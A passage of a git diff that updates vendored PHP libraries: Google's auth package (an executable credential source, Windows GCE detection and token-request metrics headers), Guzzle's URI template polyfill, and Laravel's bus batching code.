+ + // Validate subject token for SAML and OIDC. + if ($executableResponse['token_type'] === self::SAML_SUBJECT_TOKEN_TYPE) { + if (empty($executableResponse['saml_response'])) { + throw new ExecutableResponseError(sprintf( + 'Executable response must contain a "saml_response" field when token_type=%s.', + self::SAML_SUBJECT_TOKEN_TYPE + )); + } + } elseif (empty($executableResponse['id_token'])) { + throw new ExecutableResponseError(sprintf( + 'Executable response must contain a "id_token" field when ' + . 'token_type=%s.', + $executableResponse['token_type'] + )); + } + + // Validate expiration exists when an output file is specified. + if ($this->outputFile) { + if (!isset($executableResponse['expiration_time'])) { + throw new ExecutableResponseError( + 'The executable response must contain a "expiration_time" field for successful responses ' . + 'when an output_file has been specified in the configuration.' + ); + } + } + } else { + // Both code and message must be provided for unsuccessful responses. + if (!array_key_exists('code', $executableResponse)) { + throw new ExecutableResponseError('Executable response must contain a "code" field when unsuccessful.'); + } + if (empty($executableResponse['message'])) { + throw new ExecutableResponseError('Executable response must contain a "message" field when unsuccessful.'); + } + } + + return $executableResponse; + } +} diff --git a/vendor/google/auth/src/Credentials/ExternalAccountCredentials.php b/vendor/google/auth/src/Credentials/ExternalAccountCredentials.php index c3a8c628a..98f427a33 100644 --- a/vendor/google/auth/src/Credentials/ExternalAccountCredentials.php +++ b/vendor/google/auth/src/Credentials/ExternalAccountCredentials.php @@ -18,8 +18,10 @@ namespace Google\Auth\Credentials; use Google\Auth\CredentialSource\AwsNativeSource; +use Google\Auth\CredentialSource\ExecutableSource; use Google\Auth\CredentialSource\FileSource; use Google\Auth\CredentialSource\UrlSource; +use Google\Auth\ExecutableHandler\ExecutableHandler; use Google\Auth\ExternalAccountCredentialSourceInterface; use Google\Auth\FetchAuthTokenInterface; use Google\Auth\GetQuotaProjectInterface; @@ -150,11 +152,6 @@ private static function buildCredentialSource(array $jsonKey): ExternalAccountCr 'The regional_cred_verification_url field is required for aws1 credential source.' ); } - if (!array_key_exists('audience', $jsonKey)) { - throw new InvalidArgumentException( - 'aws1 credential source requires an audience to be set in the JSON file.' - ); - } return new AwsNativeSource( $jsonKey['audience'], @@ -174,6 +171,43 @@ private static function buildCredentialSource(array $jsonKey): ExternalAccountCr ); } + if (isset($credentialSource['executable'])) { + if (!array_key_exists('command', $credentialSource['executable'])) { + throw new InvalidArgumentException( + 'executable source requires a command to be set in the JSON file.' + ); + } + + // Build command environment variables + $env = [ + 'GOOGLE_EXTERNAL_ACCOUNT_AUDIENCE' => $jsonKey['audience'], + 'GOOGLE_EXTERNAL_ACCOUNT_TOKEN_TYPE' => $jsonKey['subject_token_type'], + // Always set to 0 because interactive mode is not supported. + 'GOOGLE_EXTERNAL_ACCOUNT_INTERACTIVE' => '0', + ]; + + if ($outputFile = $credentialSource['executable']['output_file'] ?? null) { + $env['GOOGLE_EXTERNAL_ACCOUNT_OUTPUT_FILE'] = $outputFile; + } + + if ($serviceAccountImpersonationUrl = $jsonKey['service_account_impersonation_url'] ?? null) { + // Parse email from URL. The formal looks as follows: + // https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/name@project-id.iam.gserviceaccount.com:generateAccessToken + $regex = '/serviceAccounts\/(?[^:]+):generateAccessToken$/'; + if (preg_match($regex, $serviceAccountImpersonationUrl, $matches)) { + $env['GOOGLE_EXTERNAL_ACCOUNT_IMPERSONATED_EMAIL'] = $matches['email']; + } + } + + $timeoutMs = $credentialSource['executable']['timeout_millis'] ?? null; + + return new ExecutableSource( + $credentialSource['executable']['command'], + $outputFile, + $timeoutMs ? new ExecutableHandler($env, $timeoutMs) : new ExecutableHandler($env) + ); + } + throw new InvalidArgumentException('Unable to determine credential source from json key.'); } diff --git a/vendor/google/auth/src/Credentials/GCECredentials.php b/vendor/google/auth/src/Credentials/GCECredentials.php index 2b704aa4a..5fed54763 100644 --- a/vendor/google/auth/src/Credentials/GCECredentials.php +++ b/vendor/google/auth/src/Credentials/GCECredentials.php @@ -17,6 +17,8 @@ namespace Google\Auth\Credentials; +use COM; +use com_exception; use Google\Auth\CredentialsLoader; use Google\Auth\GetQuotaProjectInterface; use Google\Auth\HttpHandler\HttpClientCache; @@ -110,6 +112,23 @@ class GCECredentials extends CredentialsLoader implements */ private const GKE_PRODUCT_NAME_FILE = '/sys/class/dmi/id/product_name'; + /** + * The Windows Registry key path to the product name + */ + private const WINDOWS_REGISTRY_KEY_PATH = 'HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig\\Current\\'; + + /** + * The Windows registry key name for the product name + */ + private const WINDOWS_REGISTRY_KEY_NAME = 'SystemProductName'; + + /** + * The Name of the product expected from the windows registry + */ + private const PRODUCT_NAME = 'Google'; + + private const CRED_TYPE = 'mds'; + /** * Note: the explicit `timeout` and `tries` below is a workaround. The underlying * issue is that resolving an unknown host on some networks will take @@ -359,7 +378,10 @@ public static function onGce(callable $httpHandler = null) new Request( 'GET', $checkUri, - [self::FLAVOR_HEADER => 'Google'] + [ + self::FLAVOR_HEADER => 'Google', + self::$metricMetadataKey => self::getMetricsHeader('', 'mds') + ] ), ['timeout' => self::COMPUTE_PING_CONNECTION_TIMEOUT_S] ); @@ -372,9 +394,10 @@ public static function onGce(callable $httpHandler = null) } } - if (PHP_OS === 'Windows') { - // @TODO: implement GCE residency detection on Windows - return false; + if (PHP_OS === 'Windows' || PHP_OS === 'WINNT') { + return self::detectResidencyWindows( + self::WINDOWS_REGISTRY_KEY_PATH . self::WINDOWS_REGISTRY_KEY_NAME + ); } // Detect GCE residency on Linux @@ -385,11 +408,33 @@ private static function detectResidencyLinux(string $productNameFile): bool { if (file_exists($productNameFile)) { $productName = trim((string) file_get_contents($productNameFile)); - return 0 === strpos($productName, 'Google'); + return 0 === strpos($productName, self::PRODUCT_NAME); } return false; } + private static function detectResidencyWindows(string $registryProductKey): bool + { + if (!class_exists(COM::class)) { + // the COM extension must be installed and enabled to detect Windows residency + // see https://www.php.net/manual/en/book.com.php + return false; + } + + $shell = new COM('WScript.Shell'); + $productName = null; + + try { + $productName = $shell->regRead($registryProductKey); + } catch(com_exception) { + // This means that we tried to read a key that doesn't exist on the registry + // which might mean that it is a windows instance that is not on GCE + return false; + } + + return 0 === strpos($productName, self::PRODUCT_NAME); + } + /** * Implements FetchAuthTokenInterface#fetchAuthToken. * @@ -421,7 +466,11 @@ public function fetchAuthToken(callable $httpHandler = null) return []; // return an empty array with no access token } - $response = $this->getFromMetadata($httpHandler, $this->tokenUri); + $response = $this->getFromMetadata( + $httpHandler, + $this->tokenUri, + $this->applyTokenEndpointMetrics([], $this->targetAudience ? 'it' : 'at') + ); if ($this->targetAudience) { return $this->lastReceivedToken = ['id_token' => $response]; @@ -579,15 +628,18 @@ public function getUniverseDomain(callable $httpHandler = null): string * * @param callable $httpHandler An HTTP Handler to deliver PSR7 requests. * @param string $uri The metadata URI. + * @param array $headers [optional] If present, add these headers to the token + * endpoint request. + * * @return string */ - private function getFromMetadata(callable $httpHandler, $uri) + private function getFromMetadata(callable $httpHandler, $uri, array $headers = []) { $resp = $httpHandler( new Request( 'GET', $uri, - [self::FLAVOR_HEADER => 'Google'] + [self::FLAVOR_HEADER => 'Google'] + $headers ) ); @@ -619,4 +671,9 @@ public function setIsOnGce($isOnGce) // Set isOnGce $this->isOnGce = $isOnGce; } + + protected function getCredType(): string + { + return self::CRED_TYPE; + } } diff --git a/vendor/google/auth/src/Credentials/ImpersonatedServiceAccountCredentials.php b/vendor/google/auth/src/Credentials/ImpersonatedServiceAccountCredentials.php index 1b4e46eaf..791fe985a 100644 --- a/vendor/google/auth/src/Credentials/ImpersonatedServiceAccountCredentials.php +++ b/vendor/google/auth/src/Credentials/ImpersonatedServiceAccountCredentials.php @@ -26,6 +26,8 @@ class ImpersonatedServiceAccountCredentials extends CredentialsLoader implements { use IamSignerTrait; + private const CRED_TYPE = 'imp'; + /** * @var string */ @@ -121,7 +123,11 @@ public function getClientName(callable $unusedHttpHandler = null) */ public function fetchAuthToken(callable $httpHandler = null) { - return $this->sourceCredentials->fetchAuthToken($httpHandler); + // We don't support id token endpoint requests as of now for Impersonated Cred + return $this->sourceCredentials->fetchAuthToken( + $httpHandler, + $this->applyTokenEndpointMetrics([], 'at') + ); } /** @@ -139,4 +145,9 @@ public function getLastReceivedToken() { return $this->sourceCredentials->getLastReceivedToken(); } + + protected function getCredType(): string + { + return self::CRED_TYPE; + } } diff --git a/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php b/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php index eba43cf9f..91238029d 100644 --- a/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php +++ b/vendor/google/auth/src/Credentials/ServiceAccountCredentials.php @@ -65,6 +65,13 @@ class ServiceAccountCredentials extends CredentialsLoader implements { use ServiceAccountSignerTrait; + /** + * Used in observability metric headers + * + * @var string + */ + private const CRED_TYPE = 'sa'; + /** * The OAuth2 instance used to conduct authorization. * @@ -206,7 +213,9 @@ public function fetchAuthToken(callable $httpHandler = null) return $accessToken; } - return $this->auth->fetchAuthToken($httpHandler); + $authRequestType = empty($this->auth->getAdditionalClaims()['target_audience']) + ? 'at' : 'it'; + return $this->auth->fetchAuthToken($httpHandler, $this->applyTokenEndpointMetrics([], $authRequestType)); } /** @@ -344,6 +353,11 @@ public function getUniverseDomain(): string return $this->universeDomain; } + protected function getCredType(): string + { + return self::CRED_TYPE; + } + /** * @return bool */ diff --git a/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php b/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php index 8b2fb9454..87baa7500 100644 --- a/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php +++ b/vendor/google/auth/src/Credentials/ServiceAccountJwtAccessCredentials.php @@ -40,6 +40,13 @@ class ServiceAccountJwtAccessCredentials extends CredentialsLoader implements { use ServiceAccountSignerTrait; + /** + * Used in observability metric headers + * + * @var string + */ + private const CRED_TYPE = 'jwt'; + /** * The OAuth2 instance used to conduct authorization. * @@ -209,4 +216,9 @@ public function getQuotaProject() { return $this->quotaProject; } + + protected function getCredType(): string + { + return self::CRED_TYPE; + } } diff --git a/vendor/google/auth/src/Credentials/UserRefreshCredentials.php b/vendor/google/auth/src/Credentials/UserRefreshCredentials.php index e2f32d87f..69778f7c8 100644 --- a/vendor/google/auth/src/Credentials/UserRefreshCredentials.php +++ b/vendor/google/auth/src/Credentials/UserRefreshCredentials.php @@ -34,6 +34,13 @@ */ class UserRefreshCredentials extends CredentialsLoader implements GetQuotaProjectInterface { + /** + * Used in observability metric headers + * + * @var string + */ + private const CRED_TYPE = 'u'; + /** * The OAuth2 instance used to conduct authorization. * @@ -98,6 +105,10 @@ public function __construct( /** * @param callable $httpHandler + * @param array $metricsHeader [optional] Metrics headers to be inserted + * into the token endpoint request present. + * This could be passed from ImersonatedServiceAccountCredentials as it uses + * UserRefreshCredentials as source credentials. * * @return array { * A set of auth related metadata, containing the following @@ -109,9 +120,13 @@ public function __construct( * @type string $id_token * } */ - public function fetchAuthToken(callable $httpHandler = null) + public function fetchAuthToken(callable $httpHandler = null, array $metricsHeader = []) { - return $this->auth->fetchAuthToken($httpHandler); + // We don't support id token endpoint requests as of now for User Cred + return $this->auth->fetchAuthToken( + $httpHandler, + $this->applyTokenEndpointMetrics($metricsHeader, 'at') + ); } /** @@ -149,4 +164,9 @@ public function getGrantedScope() { return $this->auth->getGrantedScope(); } + + protected function getCredType(): string + { + return self::CRED_TYPE; + } } diff --git a/vendor/google/auth/src/ExecutableHandler/ExecutableHandler.php b/vendor/google/auth/src/ExecutableHandler/ExecutableHandler.php new file mode 100644 index 000000000..8f5e13f4e --- /dev/null +++ b/vendor/google/auth/src/ExecutableHandler/ExecutableHandler.php @@ -0,0 +1,83 @@ + */ + private array $env = []; + + private ?string $output = null; + + /** + * @param array $env + */ + public function __construct( + array $env = [], + int $timeoutMs = self::DEFAULT_EXECUTABLE_TIMEOUT_MILLIS, + ) { + if (!class_exists(Process::class)) { + throw new RuntimeException(sprintf( + 'The "symfony/process" package is required to use %s.', + self::class + )); + } + $this->env = $env; + $this->timeoutMs = $timeoutMs; + } + + /** + * @param string $command + * @return int + */ + public function __invoke(string $command): int + { + $process = Process::fromShellCommandline( + $command, + null, + $this->env, + null, + ($this->timeoutMs / 1000) + ); + + try { + $process->run(); + } catch (ProcessTimedOutException $e) { + throw new ExecutableResponseError( + 'The executable failed to finish within the timeout specified.', + 'TIMEOUT_EXCEEDED' + ); + } + + $this->output = $process->getOutput() . $process->getErrorOutput(); + + return $process->getExitCode(); + } + + public function getOutput(): ?string + { + return $this->output; + } +} diff --git a/vendor/google/auth/src/ExecutableHandler/ExecutableResponseError.php b/vendor/google/auth/src/ExecutableHandler/ExecutableResponseError.php new file mode 100644 index 000000000..441090250 --- /dev/null +++ b/vendor/google/auth/src/ExecutableHandler/ExecutableResponseError.php @@ -0,0 +1,27 @@ + $metadata The metadata to update and return. + * @return array The updated metadata. + */ + protected function applyServiceApiUsageMetrics($metadata) + { + if ($credType = $this->getCredType()) { + // Add service api usage observability metrics info into metadata + // We expect upstream libries to have the metadata key populated already + $value = 'cred-type/' . $credType; + if (!isset($metadata[self::$metricMetadataKey])) { + // This case will happen only when someone invokes the updateMetadata + // method on the credentials fetcher themselves. + $metadata[self::$metricMetadataKey] = [$value]; + } elseif (is_array($metadata[self::$metricMetadataKey])) { + $metadata[self::$metricMetadataKey][0] .= ' ' . $value; + } else { + $metadata[self::$metricMetadataKey] .= ' ' . $value; + } + } + + return $metadata; + } + + /** + * @param array $metadata The metadata to update and return. + * @param string $authRequestType The auth request type. Possible values are + * `'at'`, `'it'`, `'mds'`. + * @return array The updated metadata. + */ + protected function applyTokenEndpointMetrics($metadata, $authRequestType) + { + $metricsHeader = self::getMetricsHeader($this->getCredType(), $authRequestType); + if (!isset($metadata[self::$metricMetadataKey])) { + $metadata[self::$metricMetadataKey] = $metricsHeader; + } + return $metadata; + } + + protected static function getVersion(): string + { + if (is_null(self::$version)) { + $versionFilePath = __DIR__ . '/../VERSION'; + self::$version = trim((string) file_get_contents($versionFilePath)); + } + return self::$version; + } + + protected function getCredType(): string + { + return ''; + } +} diff --git a/vendor/google/auth/src/OAuth2.php b/vendor/google/auth/src/OAuth2.php index 5fc3ba80c..b1f9ae26d 100644 --- a/vendor/google/auth/src/OAuth2.php +++ b/vendor/google/auth/src/OAuth2.php @@ -582,9 +582,11 @@ public function toJwt(array $config = []) * Generates a request for token credentials. * * @param callable $httpHandler callback which delivers psr7 request + * @param array $headers [optional] Additional headers to pass to + * the token endpoint request. * @return RequestInterface the authorization Url. */ - public function generateCredentialsRequest(callable $httpHandler = null) + public function generateCredentialsRequest(callable $httpHandler = null, $headers = []) { $uri = $this->getTokenCredentialUri(); if (is_null($uri)) { @@ -646,7 +648,7 @@ public function generateCredentialsRequest(callable $httpHandler = null) $headers = [ 'Cache-Control' => 'no-store', 'Content-Type' => 'application/x-www-form-urlencoded', - ]; + ] + $headers; return new Request( 'POST', @@ -660,15 +662,17 @@ public function generateCredentialsRequest(callable $httpHandler = null) * Fetches the auth tokens based on the current state. * * @param callable $httpHandler callback which delivers psr7 request + * @param array $headers [optional] If present, add these headers to the token + * endpoint request. * @return array the response */ - public function fetchAuthToken(callable $httpHandler = null) + public function fetchAuthToken(callable $httpHandler = null, $headers = []) { if (is_null($httpHandler)) { $httpHandler = HttpHandlerFactory::build(HttpClientCache::getHttpClient()); } - $response = $httpHandler($this->generateCredentialsRequest($httpHandler)); + $response = $httpHandler($this->generateCredentialsRequest($httpHandler, $headers)); $credentials = $this->parseTokenResponse($response); $this->updateToken($credentials); if (isset($credentials['scope'])) { diff --git a/vendor/google/auth/src/UpdateMetadataTrait.php b/vendor/google/auth/src/UpdateMetadataTrait.php index fd33e0dca..30d4060cf 100644 --- a/vendor/google/auth/src/UpdateMetadataTrait.php +++ b/vendor/google/auth/src/UpdateMetadataTrait.php @@ -26,6 +26,8 @@ */ trait UpdateMetadataTrait { + use MetricsTrait; + /** * export a callback function which updates runtime metadata. * @@ -50,12 +52,18 @@ public function updateMetadata( $authUri = null, callable $httpHandler = null ) { - if (isset($metadata[self::AUTH_METADATA_KEY])) { + $metadata_copy = $metadata; + + // We do need to set the service api usage metrics irrespective even if + // the auth token is set because invoking this method with auth tokens + // would mean the intention is to just explicitly set the metrics metadata. + $metadata_copy = $this->applyServiceApiUsageMetrics($metadata_copy); + + if (isset($metadata_copy[self::AUTH_METADATA_KEY])) { // Auth metadata has already been set - return $metadata; + return $metadata_copy; } $result = $this->fetchAuthToken($httpHandler); - $metadata_copy = $metadata; if (isset($result['access_token'])) { $metadata_copy[self::AUTH_METADATA_KEY] = ['Bearer ' . $result['access_token']]; } elseif (isset($result['id_token'])) { diff --git a/vendor/guzzlehttp/uri-template/composer.json b/vendor/guzzlehttp/uri-template/composer.json new file mode 100644 index 000000000..2606f59b5 --- /dev/null +++ b/vendor/guzzlehttp/uri-template/composer.json @@ -0,0 +1,76 @@ +{ + "name": "guzzlehttp/uri-template", + "description": "A polyfill class for uri_template of PHP", + "keywords": [ + "guzzlehttp", + "uri-template" + ], + "license": "MIT", + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + } + ], + "repositories": [ + { + "type": "package", + "package": { + "name": "uri-template/tests", + "version": "1.0.0", + "dist": { + "url": "https://github.com/uri-templates/uritemplate-test/archive/520fdd8b0f78779d12178c357a986e0e727f4bd0.zip", + "type": "zip" + } + } + } + ], + "require": { + "php" : "^7.2.5 || ^8.0", + "symfony/polyfill-php80": "^1.24" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit" : "^8.5.36 || ^9.6.15", + "uri-template/tests": "1.0.0" + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\UriTemplate\\": "src" + } + }, + "autoload-dev": { + "psr-4": { + "GuzzleHttp\\UriTemplate\\Tests\\": "tests" + } + }, + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "config": { + "allow-plugins": { + "bamarni/composer-bin-plugin": true + }, + "preferred-install": "dist", + "sort-packages": true + } +} diff --git a/vendor/guzzlehttp/uri-template/src/UriTemplate.php b/vendor/guzzlehttp/uri-template/src/UriTemplate.php new file mode 100644 index 000000000..e848cd3b6 --- /dev/null +++ b/vendor/guzzlehttp/uri-template/src/UriTemplate.php @@ -0,0 +1,295 @@ + Hash for quick operator lookups + */ + private static $operatorHash = [ + '' => ['prefix' => '', 'joiner' => ',', 'query' => false], + '+' => ['prefix' => '', 'joiner' => ',', 'query' => false], + '#' => ['prefix' => '#', 'joiner' => ',', 'query' => false], + '.' => ['prefix' => '.', 'joiner' => '.', 'query' => false], + '/' => ['prefix' => '/', 'joiner' => '/', 'query' => false], + ';' => ['prefix' => ';', 'joiner' => ';', 'query' => true], + '?' => ['prefix' => '?', 'joiner' => '&', 'query' => true], + '&' => ['prefix' => '&', 'joiner' => '&', 'query' => true], + ]; + + /** + * @var string[] Delimiters + */ + private static $delims = [ + ':', + '/', + '?', + '#', + '[', + ']', + '@', + '!', + '$', + '&', + '\'', + '(', + ')', + '*', + '+', + ',', + ';', + '=', + ]; + + /** + * @var string[] Percent encoded delimiters + */ + private static $delimsPct = [ + '%3A', + '%2F', + '%3F', + '%23', + '%5B', + '%5D', + '%40', + '%21', + '%24', + '%26', + '%27', + '%28', + '%29', + '%2A', + '%2B', + '%2C', + '%3B', + '%3D', + ]; + + /** + * @param array $variables Variables to use in the template expansion + * + * @throws \RuntimeException + */ + public static function expand(string $template, array $variables): string + { + if (false === \strpos($template, '{')) { + return $template; + } + + /** @var string|null */ + $result = \preg_replace_callback( + '/\{([^\}]+)\}/', + self::expandMatchCallback($variables), + $template + ); + + if (null === $result) { + throw new \RuntimeException(\sprintf('Unable to process template: %s', \preg_last_error_msg())); + } + + return $result; + } + + /** + * @param array $variables Variables to use in the template expansion + * + * @return callable(string[]): string + */ + private static function expandMatchCallback(array $variables): callable + { + return static function (array $matches) use ($variables): string { + return self::expandMatch($matches, $variables); + }; + } + + /** + * Process an expansion + * + * @param array $variables Variables to use in the template expansion + * @param string[] $matches Matches met in the preg_replace_callback + * + * @return string Returns the replacement string + */ + private static function expandMatch(array $matches, array $variables): string + { + $replacements = []; + $parsed = self::parseExpression($matches[1]); + $prefix = self::$operatorHash[$parsed['operator']]['prefix']; + $joiner = self::$operatorHash[$parsed['operator']]['joiner']; + $useQuery = self::$operatorHash[$parsed['operator']]['query']; + $allUndefined = true; + + foreach ($parsed['values'] as $value) { + if (!isset($variables[$value['value']])) { + continue; + } + + $variable = $variables[$value['value']]; + $actuallyUseQuery = $useQuery; + $expanded = ''; + + if (\is_array($variable)) { + $isAssoc = self::isAssoc($variable); + $kvp = []; + /** @var mixed $var */ + foreach ($variable as $key => $var) { + if ($isAssoc) { + $key = \rawurlencode((string) $key); + $isNestedArray = \is_array($var); + } else { + $isNestedArray = false; + } + + if (!$isNestedArray) { + $var = \rawurlencode((string) $var); + if ($parsed['operator'] === '+' || $parsed['operator'] === '#') { + $var = self::decodeReserved($var); + } + } + + if ($value['modifier'] === '*') { + if ($isAssoc) { + if ($isNestedArray) { + // Nested arrays must allow for deeply nested structures. + $var = \http_build_query([$key => $var], '', '&', \PHP_QUERY_RFC3986); + } else { + $var = \sprintf('%s=%s', (string) $key, (string) $var); + } + } elseif ($key > 0 && $actuallyUseQuery) { + $var = \sprintf('%s=%s', $value['value'], (string) $var); + } + } + + /** @var string $var */ + $kvp[$key] = $var; + } + + if (0 === \count($variable)) { + $actuallyUseQuery = false; + } elseif ($value['modifier'] === '*') { + $expanded = \implode($joiner, $kvp); + if ($isAssoc) { + // Don't prepend the value name when using the explode + // modifier with an associative array. + $actuallyUseQuery = false; + } + } else { + if ($isAssoc) { + // When an associative array is encountered and the + // explode modifier is not set, then the result must be + // a comma separated list of keys followed by their + // respective values. + foreach ($kvp as $k => &$v) { + $v = \sprintf('%s,%s', $k, $v); + } + } + $expanded = \implode(',', $kvp); + } + } else { + $allUndefined = false; + if ($value['modifier'] === ':' && isset($value['position'])) { + $variable = \substr((string) $variable, 0, $value['position']); + } + $expanded = \rawurlencode((string) $variable); + if ($parsed['operator'] === '+' || $parsed['operator'] === '#') { + $expanded = self::decodeReserved($expanded); + } + } + + if ($actuallyUseQuery) { + if ($expanded === '' && $joiner !== '&') { + $expanded = $value['value']; + } else { + $expanded = \sprintf('%s=%s', $value['value'], $expanded); + } + } + + $replacements[] = $expanded; + } + + $ret = \implode($joiner, $replacements); + + if ('' === $ret) { + // Spec section 3.2.4 and 3.2.5 + if (false === $allUndefined && ('#' === $prefix || '.' === $prefix)) { + return $prefix; + } + } else { + if ('' !== $prefix) { + return \sprintf('%s%s', $prefix, $ret); + } + } + + return $ret; + } + + /** + * Parse an expression into parts + * + * @param string $expression Expression to parse + * + * @return array{operator:string, values:array} + */ + private static function parseExpression(string $expression): array + { + $result = []; + + if (isset(self::$operatorHash[$expression[0]])) { + $result['operator'] = $expression[0]; + /** @var string */ + $expression = \substr($expression, 1); + } else { + $result['operator'] = ''; + } + + $result['values'] = []; + foreach (\explode(',', $expression) as $value) { + $value = \trim($value); + $varspec = []; + if ($colonPos = \strpos($value, ':')) { + $varspec['value'] = (string) \substr($value, 0, $colonPos); + $varspec['modifier'] = ':'; + $varspec['position'] = (int) \substr($value, $colonPos + 1); + } elseif (\substr($value, -1) === '*') { + $varspec['modifier'] = '*'; + $varspec['value'] = (string) \substr($value, 0, -1); + } else { + $varspec['value'] = $value; + $varspec['modifier'] = ''; + } + $result['values'][] = $varspec; + } + + return $result; + } + + /** + * Determines if an array is associative. + * + * This makes the assumption that input arrays are sequences or hashes. + * This assumption is a tradeoff for accuracy in favor of speed, but it + * should work in almost every case where input is supplied for a URI + * template. + */ + private static function isAssoc(array $array): bool + { + return $array && \array_keys($array)[0] !== 0; + } + + /** + * Removes percent encoding on reserved characters (used with + and # + * modifiers). + */ + private static function decodeReserved(string $string): string + { + return \str_replace(self::$delimsPct, self::$delims, $string); + } +} diff --git a/vendor/illuminate/bus/Batch.php b/vendor/illuminate/bus/Batch.php index d1464e442..e08b4a975 100644 --- a/vendor/illuminate/bus/Batch.php +++ b/vendor/illuminate/bus/Batch.php @@ -155,7 +155,7 @@ public function fresh() /** * Add additional jobs to the batch. * - * @param \Illuminate\Support\Enumerable|array $jobs + * @param \Illuminate\Support\Enumerable|object|array $jobs * @return self */ public function add($jobs) @@ -241,6 +241,14 @@ public function recordSuccessfulJob(string $jobId) { $counts = $this->decrementPendingJobs($jobId); + if ($this->hasProgressCallbacks()) { + $batch = $this->fresh(); + + collect($this->options['progress'])->each(function ($handler) use ($batch) { + $this->invokeHandlerCallback($handler, $batch); + }); + } + if ($counts->pendingJobs === 0) { $this->repository->markAsFinished($this->id); } @@ -283,6 +291,16 @@ public function finished() return ! is_null($this->finishedAt); } + /** + * Determine if the batch has "progress" callbacks. + * + * @return bool + */ + public function hasProgressCallbacks() + { + return isset($this->options['progress']) && ! empty($this->options['progress']); + } + /** * Determine if the batch has "success" callbacks. * @@ -328,6 +346,14 @@ public function recordFailedJob(string $jobId, $e) $this->cancel(); } + if ($this->hasProgressCallbacks() && $this->allowsFailures()) { + $batch = $this->fresh(); + + collect($this->options['progress'])->each(function ($handler) use ($batch, $e) { + $this->invokeHandlerCallback($handler, $batch, $e); + }); + } + if ($counts->failedJobs === 1 && $this->hasCatchCallbacks()) { $batch = $this->fresh(); @@ -462,8 +488,7 @@ public function toArray() * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->toArray(); } diff --git a/vendor/illuminate/bus/BatchRepository.php b/vendor/illuminate/bus/BatchRepository.php index 098ccef20..0e580ca4d 100644 --- a/vendor/illuminate/bus/BatchRepository.php +++ b/vendor/illuminate/bus/BatchRepository.php @@ -4,6 +4,9 @@ use Closure; +/** + * @method void rollBack() + */ interface BatchRepository { /** diff --git a/vendor/illuminate/bus/Batchable.php b/vendor/illuminate/bus/Batchable.php index 3d88c3c76..5cf570607 100644 --- a/vendor/illuminate/bus/Batchable.php +++ b/vendor/illuminate/bus/Batchable.php @@ -2,7 +2,10 @@ namespace Illuminate\Bus; +use Carbon\CarbonImmutable; use Illuminate\Container\Container; +use Illuminate\Support\Str; +use Illuminate\Support\Testing\Fakes\BatchFake; trait Batchable { @@ -13,6 +16,13 @@ trait Batchable */ public $batchId; + /** + * The fake batch, if applicable. + * + * @var \Illuminate\Support\Testing\Fakes\BatchFake + */ + private $fakeBatch; + /** * Get the batch instance for the job, if applicable. * @@ -20,8 +30,12 @@ trait Batchable */ public function batch() { + if ($this->fakeBatch) { + return $this->fakeBatch; + } + if ($this->batchId) { - return Container::getInstance()->make(BatchRepository::class)->find($this->batchId); + return Container::getInstance()->make(BatchRepository::class)?->find($this->batchId); } } @@ -49,4 +63,46 @@ public function withBatchId(string $batchId) return $this; } + + /** + * Indicate that the job should use a fake batch. + * + * @param string $id + * @param string $name + * @param int $totalJobs + * @param int $pendingJobs + * @param int $failedJobs + * @param array $failedJobIds + * @param array $options + * @param \Carbon\CarbonImmutable|null $createdAt + * @param \Carbon\CarbonImmutable|null $cancelledAt + * @param \Carbon\CarbonImmutable|null $finishedAt + * @return array{0: $this, 1: \Illuminate\Support\Testing\Fakes\BatchFake} + */ + public function withFakeBatch(string $id = '', + string $name = '', + int $totalJobs = 0, + int $pendingJobs = 0, + int $failedJobs = 0, + array $failedJobIds = [], + array $options = [], + ?CarbonImmutable $createdAt = null, + ?CarbonImmutable $cancelledAt = null, + ?CarbonImmutable $finishedAt = null) + { + $this->fakeBatch = new BatchFake( + empty($id) ? (string) Str::uuid() : $id, + $name, + $totalJobs, + $pendingJobs, + $failedJobs, + $failedJobIds, + $options, + $createdAt ?? CarbonImmutable::now(), + $cancelledAt, + $finishedAt, + ); + + return [$this, $this->fakeBatch]; + } } diff --git a/vendor/illuminate/bus/BusServiceProvider.php b/vendor/illuminate/bus/BusServiceProvider.php index ff3eef81b..4031e15f4 100644 --- a/vendor/illuminate/bus/BusServiceProvider.php +++ b/vendor/illuminate/bus/BusServiceProvider.php @@ -2,10 +2,12 @@ namespace Illuminate\Bus; +use Aws\DynamoDb\DynamoDbClient; use Illuminate\Contracts\Bus\Dispatcher as DispatcherContract; use Illuminate\Contracts\Bus\QueueingDispatcher as QueueingDispatcherContract; use Illuminate\Contracts\Queue\Factory as QueueFactoryContract; use Illuminate\Contracts\Support\DeferrableProvider; +use Illuminate\Support\Arr; use Illuminate\Support\ServiceProvider; class BusServiceProvider extends ServiceProvider implements DeferrableProvider @@ -41,7 +43,13 @@ public function register() */ protected function registerBatchServices() { - $this->app->singleton(BatchRepository::class, DatabaseBatchRepository::class); + $this->app->singleton(BatchRepository::class, function ($app) { + $driver = $app->config->get('queue.batching.driver', 'database'); + + return $driver === 'dynamodb' + ? $app->make(DynamoBatchRepository::class) + : $app->make(DatabaseBatchRepository::class); + }); $this->app->singleton(DatabaseBatchRepository::class, function ($app) { return new DatabaseBatchRepository( @@ -50,6 +58,32 @@ protected function registerBatchServices() $app->config->get('queue.batching.table', 'job_batches') ); }); + + $this->app->singleton(DynamoBatchRepository::class, function ($app) { + $config = $app->config->get('queue.batching'); + + $dynamoConfig = [ + 'region' => $config['region'], + 'version' => 'latest', + 'endpoint' => $config['endpoint'] 